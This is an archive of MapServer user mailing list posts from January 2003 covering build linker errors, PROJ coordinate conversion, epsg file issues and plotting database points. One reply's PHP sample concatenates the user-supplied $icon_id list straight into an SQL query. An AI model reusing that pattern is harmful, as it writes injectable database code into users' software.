undefined reference to >>`OGRPolygon::getNumInteriorRings(void)' >>mapogr.o(.text+0x20f): undefined reference to >>`OGRGeometryCollection::getNumGeometries(void)' >>mapogr.o(.text+0x39d): undefined reference to >>`OGRPolygon::getExteriorRing(void)' >>mapogr.o(.text+0x3ac): undefined reference to >>`OGRPolygon::getInteriorRing(int)' >>mapogr.o(.text+0x40f): undefined reference to >>`OGRPolygon::getNumInteriorRings(void)' >>mapogr.o(.text+0x449): undefined reference to >>`OGRGeometryCollection::getGeometryRef(int)' >>... >>./libmap.a(mapogr.o): In function `msOGRLayerGetAutoStyle': >>mapogr.o(.text+0x2098): undefined reference to >>`OGRStyleMgr::OGRStyleMgr(OGRStyleTable *)' >>mapogr.o(.text+0x20ce): undefined reference to >>`OGRStyleMgr::InitFromFeature(OGRFeature *)' >>mapogr.o(.text+0x20dc): undefined reference to >>`OGRStyleMgr::GetPartCount(char const *)' >>mapogr.o(.text+0x2104): undefined reference to >>`OGRStyleMgr::GetPart(int, char const *)' >>mapogr.o(.text+0x2135): undefined reference to >>`OGRStyleTool::SetUnit(ogr_style_tool_units_id, double)' >>mapogr.o(.text+0x2141): undefined reference to `OGRStyleTool::GetType(void)' >>mapogr.o(.text+0x2168): undefined reference to >>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' >>mapogr.o(.text+0x219a): undefined reference to >>`OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)' >>mapogr.o(.text+0x21b8): undefined reference to >>`OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)' >>mapogr.o(.text+0x2212): undefined reference to >>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' >>mapogr.o(.text+0x221f): undefined reference to >>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' >>mapogr.o(.text+0x2266): undefined reference to >>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' >>mapogr.o(.text+0x2273): undefined reference to >>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' >>mapogr.o(.text+0x22b3): undefined reference to >>`OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' >>mapogr.o(.text+0x2368): undefined reference to `OGRStyleTool::GetType(void)' >>mapogr.o(.text+0x2386): undefined reference to >>`OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)' >>mapogr.o(.text+0x23e6): undefined reference to >>`OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)' >>mapogr.o(.text+0x23f3): undefined reference to >>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' >>mapogr.o(.text+0x2426): undefined reference to >>`OGRStylePen::GetParamDbl(ogr_style_tool_param_pen_id, int &)' >>mapogr.o(.text+0x24c8): undefined reference to `OGRStyleTool::GetType(void)' >>mapogr.o(.text+0x2509): undefined reference to >>`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)' >>mapogr.o(.text+0x2516): undefined reference to >>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' >>mapogr.o(.text+0x255d): undefined reference to >>`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)' >>mapogr.o(.text+0x256a): undefined reference to >>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' >>mapogr.o(.text+0x25a7): undefined reference to >>`OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)' >>mapogr.o(.text+0x25c8): undefined reference to `OGRStyleTool::GetType(void)' >>mapogr.o(.text+0x25f9): undefined reference to >>`OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)' >>mapogr.o(.text+0x2606): undefined reference to >>`OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' >>mapogr.o(.text+0x263a): undefined reference to >>`OGRStyleSymbol::GetParamDbl(ogr_style_tool_param_symbol_id, int &)' >>mapogr.o(.text+0x266e): undefined reference to >>`OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)' >>mapogr.o(.text+0x26d4): undefined reference to >>`OGRStyleMgr::~OGRStyleMgr(void)' >>collect2: ld returned 1 exit status >>make: *** [shp2img] Error 1 >> >>------------ >> >>*aaarrrg* >> >>any hint? >> >> >>Lowell Filak wrote: >> >> >> >>>That could be the reason if the makefile defines 'make' differently than it defines 'make all'. >>>I don't have a different idea, hopefully that will do it. >>> >>>The following message was sent by Philipp Jacob on Tue, 07 Jan 2003 16:30:13 +0100. >>> >>> >>> >>> >>> >>>>no, it is not installed. >>>>but i found the following: >>>> >>>>"The OGR library is currently a loosely coupled subcomponent of the GDAL >>>>library, so you get all of GDAL for the price of OGR, though you can >>>>build and use just the OGR components" >>>> >>>>hm, it looks like, that gdal was build without ogr support. right? >>>> >>>>so there is a building instruction for unix which says: >>>>% cd gdal >>>>% configure >>>>% make all >>>> >>>>when i compiled gdal, i only typed 'make' instead of 'make all'. >>>>could that be the reason, why there is no ogr support? >>>> >>>>i will try this, or do you have another idea? >>>> >>>> >>>>Lowell Filak wrote: >>>> >>>> >>>> >>>> >>>> >>>>>Okee dokee. >>>>>The next thing it can't find is OGR, is that installed? >>>>> >>>>> >>>>> >>>>> >>>>> > > > > From philipp.jacob at geosysnet.de Wed Jan 8 03:31:54 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Wed, 08 Jan 2003 12:31:54 +0100 Subject: [Mapserver-users] mapserver compile problems References: <3E1ACED9.8000105@geosysnet.de> <3E1B4A1A.B1DF2AB2@dmsolutions.ca> Message-ID: <3E1C0C2A.4020103@geosysnet.de> Daniel Morissette wrote: >Philipp Jacob wrote: > > >>the configure command: >>"CXX=/opt/gcc295/bin/c++ CC=/opt/gcc295/bin/gcc ./configure --with-gd >>--with-php=../php-4.2.3/ --with-gdal=../gdal-1.1.7/ >>--enable-force-freetype1 --with-proj --with-wmsclient" >> >> >> >... > > > >>but when i do 'make' the make process stops with the following error: >> >>---------- >>[...some regular make outout above this...] >>/opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL >>-DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG >>-DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_GDAL >>-I/usr/local/include -I/usr/local/include >>-I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H shp2img.o -L. -lmap >>-lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lttf >>-lpng -lz -lproj -ljpeg -L/usr/local/lib -lwwwxml -lxmltok >>-lxmlparse -lwwwinit -lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp >>-lwwwmime -lwwwgopher -lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream >>-lwwwmux -lwwwtrans -lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img >>./libmap.a(mapraster.o): In function `drawGDAL': >>mapraster.o(.text+0x4d4): undefined reference to `GDALGetRasterXSize' >>... >> >> > >You are getting this because configure didn't find the 'gdal-config' >script and it failed to include -lgdal.1.1 in the link arguments. You >have to pass the full path to the gdal-config file in the --with-gdal >parameter, not just the path to GDAL (I know this can become confusing). > >The configure script should have complained about this but it didn't, so >I fixed it in both 3.6.4-dev and 3.7-dev to complain about this >mistake. The './configure --help' output also documented the option as >'--with-gdal[=DIR]' and I changed it to '--with-gdal[=PATH]' which will >hopefully reduce the chances of confusion. > >Now, you should be able to compile without getting those fixes as long >as you pass the right argument to --with-gdal: > >Did you 'make install' in the GDAL directory? That would be the best >thing to do and then you could use '--with-gdal' without any argument >assuming that /usr/local/bin/gdal-config is in your path. > >If you must specify an alternate location for GDAL then you should pass >the full path and filename of the gdal-config script, if you didn't >'make install' GDAL, then the path should likely be: > --with-gdal=../gdal-1.1.7/apps/gdal-config > >Daniel > > yes, the gdal-config problem is solved. sorry, the last messages didn't reach the mailing list, my fault. i did 'make install' and left out the path after --with-gdal, now the gdal libraries seems to be found. but 'make' on the mapserver brings up even more 'undefined references'. ------------------ i recompiled the gdal library. configure checked for OGR support and enabled it. well, sounds nice. 'make all' 'make install' done.. then i configured the mapserver again. additionally with the option: --with-ogr configure finished successfully and i had a look at the Makefile. OGR support is mentioned there, and the right paths are set. (/usr/local/lib -lgdal.1.1) but 'make' brings even more 'undefined references' than before: ------------ ... /opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL -DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG -DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL -I/usr/local/include -I/usr/local/include -I/usr/local/include -I/usr/local/include -I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H shp2img.o -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz -ltiff -ljpeg -lttf -lpng -lz -lproj -ljpeg -L/usr/local/lib -lgdal.1.1 -L/usr/local/lib -lwwwxml -lxmltok -lxmlparse -lwwwinit -lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp -lwwwmime -lwwwgopher -lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream -lwwwmux -lwwwtrans -lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img ./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj *)': mapogr.o(.text+0x16c): undefined reference to `OGRPolygon::getExteriorRing(void)' mapogr.o(.text+0x199): undefined reference to `OGRPolygon::getInteriorRing(int)' mapogr.o(.text+0x1b3): undefined reference to `OGRPolygon::getNumInteriorRings(void)' mapogr.o(.text+0x20f): undefined reference to `OGRGeometryCollection::getNumGeometries(void)' mapogr.o(.text+0x39d): undefined reference to `OGRPolygon::getExteriorRing(void)' mapogr.o(.text+0x3ac): undefined reference to `OGRPolygon::getInteriorRing(int)' mapogr.o(.text+0x40f): undefined reference to `OGRPolygon::getNumInteriorRings(void)' mapogr.o(.text+0x449): undefined reference to `OGRGeometryCollection::getGeometryRef(int)' ... ./libmap.a(mapogr.o): In function `msOGRLayerGetAutoStyle': mapogr.o(.text+0x2098): undefined reference to `OGRStyleMgr::OGRStyleMgr(OGRStyleTable *)' mapogr.o(.text+0x20ce): undefined reference to `OGRStyleMgr::InitFromFeature(OGRFeature *)' mapogr.o(.text+0x20dc): undefined reference to `OGRStyleMgr::GetPartCount(char const *)' mapogr.o(.text+0x2104): undefined reference to `OGRStyleMgr::GetPart(int, char const *)' mapogr.o(.text+0x2135): undefined reference to `OGRStyleTool::SetUnit(ogr_style_tool_units_id, double)' mapogr.o(.text+0x2141): undefined reference to `OGRStyleTool::GetType(void)' mapogr.o(.text+0x2168): undefined reference to `OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' mapogr.o(.text+0x219a): undefined reference to `OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)' mapogr.o(.text+0x21b8): undefined reference to `OGRStyleLabel::GetParamDbl(ogr_style_tool_param_label_id, int &)' mapogr.o(.text+0x2212): undefined reference to `OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' mapogr.o(.text+0x221f): undefined reference to `OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' mapogr.o(.text+0x2266): undefined reference to `OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' mapogr.o(.text+0x2273): undefined reference to `OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' mapogr.o(.text+0x22b3): undefined reference to `OGRStyleLabel::GetParamStr(ogr_style_tool_param_label_id, int &)' mapogr.o(.text+0x2368): undefined reference to `OGRStyleTool::GetType(void)' mapogr.o(.text+0x2386): undefined reference to `OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)' mapogr.o(.text+0x23e6): undefined reference to `OGRStylePen::GetParamStr(ogr_style_tool_param_pen_id, int &)' mapogr.o(.text+0x23f3): undefined reference to `OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' mapogr.o(.text+0x2426): undefined reference to `OGRStylePen::GetParamDbl(ogr_style_tool_param_pen_id, int &)' mapogr.o(.text+0x24c8): undefined reference to `OGRStyleTool::GetType(void)' mapogr.o(.text+0x2509): undefined reference to `OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)' mapogr.o(.text+0x2516): undefined reference to `OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' mapogr.o(.text+0x255d): undefined reference to `OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)' mapogr.o(.text+0x256a): undefined reference to `OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' mapogr.o(.text+0x25a7): undefined reference to `OGRStyleBrush::GetParamStr(ogr_style_tool_param_brush_id, int &)' mapogr.o(.text+0x25c8): undefined reference to `OGRStyleTool::GetType(void)' mapogr.o(.text+0x25f9): undefined reference to `OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)' mapogr.o(.text+0x2606): undefined reference to `OGRStyleTool::GetRGBFromString(char const *, int &, int &, int &, int &)' mapogr.o(.text+0x263a): undefined reference to `OGRStyleSymbol::GetParamDbl(ogr_style_tool_param_symbol_id, int &)' mapogr.o(.text+0x266e): undefined reference to `OGRStyleSymbol::GetParamStr(ogr_style_tool_param_symbol_id, int &)' mapogr.o(.text+0x26d4): undefined reference to `OGRStyleMgr::~OGRStyleMgr(void)' collect2: ld returned 1 exit status make: *** [shp2img] Error 1 ------------ *aaarrrg* any hint? From nida at webstar.co.uk Wed Jan 8 06:16:10 2003 From: nida at webstar.co.uk (nida Khan) Date: Wed, 8 Jan 2003 14:16:10 -0000 Subject: [Mapserver-users] plot a point on map Message-ID: <019b01c2b720$7e7db800$a901a8c0@private.webstar.co.uk> This is a multi-part message in MIME format. ------=_NextPart_000_0198_01C2B720.7E20A3E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi everyone, I have a table with x and y coordinate in two integer fields. I could'nt find any example to plot a point using these x and y = coordinates from the table. I will appreciate if you could point me to right documentation or = example. Many Thanks Nida Khan. ------=_NextPart_000_0198_01C2B720.7E20A3E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi everyone,
 
I have a table with x and y coordinate in two = integer=20 fields.
I could'nt find any example to plot a point using = these x and=20 y coordinates from the table.
 
I will appreciate if you could point me to right = documentation=20 or example.
 
Many Thanks
Nida Khan.
 
------=_NextPart_000_0198_01C2B720.7E20A3E0-- From lfilak at medinaco.org Wed Jan 8 06:39:13 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Wed, 08 Jan 2003 09:39:13 -0500 Subject: [Mapserver-users] plot a point on map Message-ID: <200301081436.h08EaDR13442@yogi.medinaco.net> One option would be something like: http://mapserver.gis.umn.edu/cgi-bin/wiki.pl?PerlMapScriptExamples35ex2 HTH Lowell F. The following message was sent by "nida Khan" on Wed, 8 Jan 2003 14:16:10 -0000. > Hi everyone, > > I have a table with x and y coordinate in two integer fields. > I could'nt find any example to plot a point using these x and y > coordinates from the table. > > I will appreciate if you could point me to right documentation or > example. > > Many Thanks > Nida Khan. > > From pagurekd at agr.gc.ca Wed Jan 8 06:57:21 2003 From: pagurekd at agr.gc.ca (Debbie Pagurek) Date: Wed, 08 Jan 2003 09:57:21 -0500 Subject: [Mapserver-users] PROJ command line - lat/long to UTM zone 20 Message-ID: Hi everyone, this isn't directly related to mapserver but it is because I'm trying to set up a world file for a jpeg image... can someone give me some pointers on how to use the PROJ command line to convert a lat/long point to UTM zone coordinates? I have tried several things but keep getting different results e.g. proj +proj=utm +lon_0=-63 -E -r < 46.25N 64.5W > EOF 46.25N 64.5W 384376.30 5122918.25 proj +proj=utm +lon_0=-63 -E -r < 46.25N 65W > EOF 46.25N 65W 345835.64 5123768.85 How come the UTM coordinate for 46.25N changed? What am I doing incorrectly? If anyone could please tell me the correct way to use the PROJ command line for lat/long to UTM conversion, I'd really REALLY appreciate it! Thanks, D. Pagurek p.s. using PROJ 4.4.5 on linux. From morissette at dmsolutions.ca Wed Jan 8 07:04:23 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Wed, 08 Jan 2003 10:04:23 -0500 Subject: [Mapserver-users] Re: mapserver error References: <3E1A4F4D.2070508@mapcontext.com> <3E1A550D.96A50694@dmsolutions.ca> <3E1BA787.4040806@mapcontext.com> Message-ID: <3E1C3DF7.57730E20@dmsolutions.ca> I have no clue why it can't find the epsg file. You really named the file "epsg" with no extension, correct? i.e. C:\proj\epsg and C:\proj\nad\epsg I'll CC this to the mapserver list where someone else may have run into the same thing with the UMN build for WIN32 and might have some hints to offer. Daniel Doug Nebert wrote: > > Daniel Morissette wrote: > > > >>The current error I get is: > >> > >>msProcessProjection(): Projection library error. no system list, errno: 2 > >> > >>whether I include a reference to PROJECTION or not. I have > >>downloaded the latest epsg file and put it both at c:\proj > >>and c:\proj\nad. No avail. > >> > > > > > > hummm.... this error means that it doesn't find the epsg file. You are > > sure that you placed it in both? You really need to resolve this > > otherwise you won't be able to use any of the WMS features. > > > > This is really odd. Did you use a build from our download site or from > > the UMN website? > > > > I downloaded yesterday from the UMN site. > > Doug. > From ed at topozone.com Wed Jan 8 07:13:14 2003 From: ed at topozone.com (Ed McNierney) Date: Wed, 8 Jan 2003 10:13:14 -0500 Subject: [Mapserver-users] Re: mapserver error Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AAF@mercator.topozone.com> Doug - Your MapServer process is running in the user context of your IUSR_ account (or whatever you've changed it to). Does that user account have read permission on the c:\proj directory tree? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Daniel Morissette [mailto:morissette at dmsolutions.ca] Sent: Wednesday, January 08, 2003 10:04 AM To: Doug Nebert Cc: mapserver-users Subject: [Mapserver-users] Re: mapserver error I have no clue why it can't find the epsg file. You really named the file "epsg" with no extension, correct? i.e. C:\proj\epsg and C:\proj\nad\epsg I'll CC this to the mapserver list where someone else may have run into the same thing with the UMN build for WIN32 and might have some hints to offer. Daniel Doug Nebert wrote: > > Daniel Morissette wrote: > > > >>The current error I get is: > >> > >>msProcessProjection(): Projection library error. no system list, errno: 2 > >> > >>whether I include a reference to PROJECTION or not. I have > >>downloaded the latest epsg file and put it both at c:\proj > >>and c:\proj\nad. No avail. > >> > > > > > > hummm.... this error means that it doesn't find the epsg file. You are > > sure that you placed it in both? You really need to resolve this > > otherwise you won't be able to use any of the WMS features. > > > > This is really odd. Did you use a build from our download site or from > > the UMN website? > > > > I downloaded yesterday from the UMN site. > > Doug. > _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From sctweedy at NRCan.gc.ca Wed Jan 8 07:17:20 2003 From: sctweedy at NRCan.gc.ca (Tweedy, Scott) Date: Wed, 8 Jan 2003 10:17:20 -0500 Subject: [Mapserver-users] compile question Message-ID: <5ACEEE96F4F9D41190790002A528B51E0336778C@s0-ott-x11.nrn.nrcan.gc.ca> Up until now I've been using the precompiled Mapserver Windows binaries. I decided to try compiling the source codes. All the instructions for compiling MapServer are for MS Visual C++. I'm using Bloodshed Dev-C++ version 4.9.7 and I was wondering if anyone has had success compiling MapServer using this software or similar open source software. If so, are there instructions out there for compiling MapServer using them? Thanks in advance, st Scott Tweedy Project Leader / chef de projet Emergency Mapping Planning / Planification de la cartographie d'urgence sctweedy at NRCan.gc.ca (613) 992-3320, fax / t?l?copieur (613) 992-3904 Natural Resources Canada / Ressources naturelles Canada 615 Booth Street / 615 rue Booth Ottawa, Ontario / Ottawa (Ontario) K1E 0E9 Government of Canada / Gouvernement du Canada From ed at topozone.com Wed Jan 8 07:18:17 2003 From: ed at topozone.com (Ed McNierney) Date: Wed, 8 Jan 2003 10:18:17 -0500 Subject: [Mapserver-users] PROJ command line - lat/long to UTM zone 20 Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3AB0@mercator.topozone.com> Debbie - I'm not quite sure what you think the problem is. Your two command lines are for two different coordinates (64.5 W and 65 W) so they naturally produce different results. Lines of constant latitude are curves in the UTM projection, so two points with the same latitude but different longitudes will have different UTM Northing coordinates. Both of those coordinate projections are giving you the correct results. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Debbie Pagurek [mailto:pagurekd at agr.gc.ca] Sent: Wednesday, January 08, 2003 9:57 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] PROJ command line - lat/long to UTM zone 20 Hi everyone, this isn't directly related to mapserver but it is because I'm trying to set up a world file for a jpeg image... can someone give me some pointers on how to use the PROJ command line to convert a lat/long point to UTM zone coordinates? I have tried several things but keep getting different results e.g. proj +proj=utm +lon_0=-63 -E -r < 46.25N 64.5W > EOF 46.25N 64.5W 384376.30 5122918.25 proj +proj=utm +lon_0=-63 -E -r < 46.25N 65W > EOF 46.25N 65W 345835.64 5123768.85 How come the UTM coordinate for 46.25N changed? What am I doing incorrectly? If anyone could please tell me the correct way to use the PROJ command line for lat/long to UTM conversion, I'd really REALLY appreciate it! Thanks, D. Pagurek p.s. using PROJ 4.4.5 on linux. _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jvanulde at nrcan.gc.ca Wed Jan 8 10:11:07 2003 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Wed, 8 Jan 2003 13:11:07 -0500 Subject: [Mapserver-users] Rosa Applet for Mac? Message-ID: <8AE17DD6AA4FD51191CD0002A5511681074BDA@s5-van1-r1.ess.nrcan.gc.ca> Has anyone developed a Mac compatible applet for Mapserver? I am assuming that the issue is related to the lack of support for LiveConnect on the Mac platform. Regards, ============================================ Joost van Ulden Programmer/Analyst Natural Resources Canada / Ressources naturelles Canada Geological Survey of Canada / Commission geologique du Canada 101 - 605 Robson Street / 101 - 605 rue Robson Vancouver, B.C. / Vancouver (C.-B.) V6B 5J3 Office/Bureau: 604.666.7525 fax/telecopieur: 604.666.1124 jvanulde at nrcan.gc.ca ============================================ From rgrant at nrcan.gc.ca Wed Jan 8 10:27:58 2003 From: rgrant at nrcan.gc.ca (Grant, Ryan) Date: Wed, 8 Jan 2003 13:27:58 -0500 Subject: [Mapserver-users] Compiled 3.7 with Flash swf support? Message-ID: <8AE17DD6AA4FD51191CD0002A551168184BB25@s5-van1-r1.ess.nrcan.gc.ca> Hey there, Is there are precompiled 3.7 with Flash swf support available to download? I'm interested in doing some playing/testing. Thanks! Ryan From jvanulde at nrcan.gc.ca Wed Jan 8 10:32:39 2003 From: jvanulde at nrcan.gc.ca (Van Ulden, Joost) Date: Wed, 8 Jan 2003 13:32:39 -0500 Subject: [Mapserver-users] plot a point on map Message-ID: <8AE17DD6AA4FD51191CD0002A5511681074BDB@s5-van1-r1.ess.nrcan.gc.ca> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2B744.53168880 Content-Type: text/plain; charset="iso-8859-1" There are many ways to do this from my experience, but here is an example of how we did it using php. Essentially we query a database(MSSQL) for some points based on some criteria(a comma delimited string called $icon_id) that we set in the page. Then we create a array of points and write them to the layer (points) specified in the mapfile. There may be an easier way to do this. I hope this helps. Regards, Joost // Mapfile snippet LAYER NAME 'points' TYPE POINT STATUS DEFAULT SYMBOLSCALE 50000 TEMPLATE void CLASS OUTLINECOLOR 255 89 89 COLOR 0 102 51 SYMBOL 'cultural site' SIZE 10 MAXSIZE 25 MINSIZE 10 END END // Start PHP template code // BUILD POINT OBJECT ARRAY FROM THE DATABASE FOR POINTS YOU WANT TO DYNAMICALLY DISPLAY // database connection parameters $hostname = "foo"; $username = "foo"; $password = "foo"; $dbName = "GBDL"; // associative array to contain the point data $points = array(); MSSQL_CONNECT($hostname,$username,$password) or DIE("DATABASE FAILED TO RESPOND."); mssql_select_db($dbName) or DIE("Table unavailable"); // convert icon_id string to array $iconArray = explode(",",$icon_id); // loop through the iconArray and build the select statement $selStmt = ""; for ($rec=0; $rec < sizeof($iconArray); $rec++) { if ($rec==sizeof($iconArray)-1){ $selStmt = $selStmt." con_id = ".$iconArray[$rec]; } else { $selStmt = $selStmt." con_id = ".$iconArray[$rec]." OR"; } } // end loop to build select statement if ( strlen($selStmt) != 0){ $query = "SELECT con_id, occ_id, story_x, story_y FROM getMapServerStories WHERE ".$selStmt; $result = MSSQL_QUERY($query); $number = MSSQL_NUM_ROWS($result); if ($number > 0) { while (($row = mssql_fetch_array($result, MSSQL_ASSOC))) { $points[$row['occ_id']]['story_x'] = $row['story_x']; $points[$row['occ_id']]['story_y'] = $row['story_y']; } } } // FINISHED BUILDING POINT OBJECT ARRAY // START GENERATING YOUR DYNAMIC POINT LAYER // get a layer object representing your pointlayer $layerObj = $map->getLayerByName("points"); // get a class object representing the first class in the layer $classObj = $layerObj->getClass(0); // create a new point object to hold the X Y data $pointObj = ms_newPointObj(); //iterate through the point data retreived from the database foreach ($points as $occ_id => $coordinates) { //set the X Y values of the point object $pointObj->setXY($coordinates['story_x'], $coordinates['story_y']); // draw the point on the image, using the id attribute to label it $pointObj->draw($map, $layerObj, $image, 0, $occ_id); } // FINISHED GENERATING THE DYNAMIC POINT LAYER -----Original Message----- From: nida Khan [mailto:nida at webstar.co.uk] Sent: Wednesday, January 08, 2003 6:16 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] plot a point on map Hi everyone, I have a table with x and y coordinate in two integer fields. I could'nt find any example to plot a point using these x and y coordinates from the table. I will appreciate if you could point me to right documentation or example. Many Thanks Nida Khan. ------_=_NextPart_001_01C2B744.53168880 Content-Type: text/html; charset="iso-8859-1"
There are many ways to do this from my experience, but here is an example of how we did it using php.  Essentially we query a database(MSSQL) for some points based on some criteria(a comma delimited string called $icon_id) that we set in the page.  Then we create a array of points and write them to the layer (points) specified in the mapfile. 
 
There may be an easier way to do this.  I hope this helps.
 
Regards,
 
Joost
 
 
 
// Mapfile snippet
 
LAYER
  NAME 'points'
  TYPE POINT
  STATUS DEFAULT
  SYMBOLSCALE 50000
  TEMPLATE void
  CLASS
    OUTLINECOLOR 255 89 89
    COLOR 0 102 51
    SYMBOL 'cultural site'
    SIZE 10
    MAXSIZE 25
    MINSIZE 10
  END
END
 
 
// Start PHP template code
 
// BUILD POINT OBJECT ARRAY FROM THE DATABASE FOR POINTS YOU WANT TO DYNAMICALLY DISPLAY
 
// database connection parameters
$hostname = "foo";
$username = "foo";
$password = "foo";
$dbName = "GBDL";
 
// associative array to contain the point data
$points = array();
 
MSSQL_CONNECT($hostname,$username,$password) or DIE("DATABASE FAILED TO RESPOND.");
mssql_select_db($dbName) or DIE("Table unavailable");
 
// convert icon_id string to array
$iconArray = explode(",",$icon_id);
  
// loop through the iconArray and build the select statement
$selStmt = "";
for ($rec=0; $rec < sizeof($iconArray); $rec++) {
  if ($rec==sizeof($iconArray)-1){
    $selStmt = $selStmt." con_id = ".$iconArray[$rec];
  } else {
    $selStmt = $selStmt." con_id = ".$iconArray[$rec]." OR";
  }
}
// end loop to build select statement
if ( strlen($selStmt) != 0){
  $query = "SELECT con_id, occ_id, story_x, story_y FROM getMapServerStories WHERE ".$selStmt;
 
 $result = MSSQL_QUERY($query);
 
  $number = MSSQL_NUM_ROWS($result);
 
  if ($number > 0) {
    while (($row = mssql_fetch_array($result, MSSQL_ASSOC))) {
     $points[$row['occ_id']]['story_x'] = $row['story_x'];
     $points[$row['occ_id']]['story_y'] = $row['story_y'];
   }
  }
}
 
// FINISHED BUILDING POINT OBJECT ARRAY
 
// START GENERATING YOUR DYNAMIC POINT LAYER

//  get a layer object representing your pointlayer
$layerObj = $map->getLayerByName("points");
 
// get a class object representing the first class in the layer
$classObj = $layerObj->getClass(0);
 
// create a new point object to hold the X Y data
$pointObj = ms_newPointObj();
 
//iterate through the point data retreived from the database
foreach ($points as $occ_id => $coordinates) {
 
 //set the X Y values of the point object
 $pointObj->setXY($coordinates['story_x'], $coordinates['story_y']);
 
 // draw the point on the image, using the id attribute to label it
 $pointObj->draw($map, $layerObj, $image, 0, $occ_id);
}
 
// FINISHED GENERATING THE DYNAMIC POINT LAYER
-----Original Message-----
From: nida Khan [mailto:nida at webstar.co.uk]
Sent: Wednesday, January 08, 2003 6:16 AM
To: mapserver-users at lists.gis.umn.edu
Subject: [Mapserver-users] plot a point on map

Hi everyone,
 
I have a table with x and y coordinate in two integer fields.
I could'nt find any example to plot a point using these x and y coordinates from the table.
 
I will appreciate if you could point me to right documentation or example.
 
Many Thanks
Nida Khan.
 
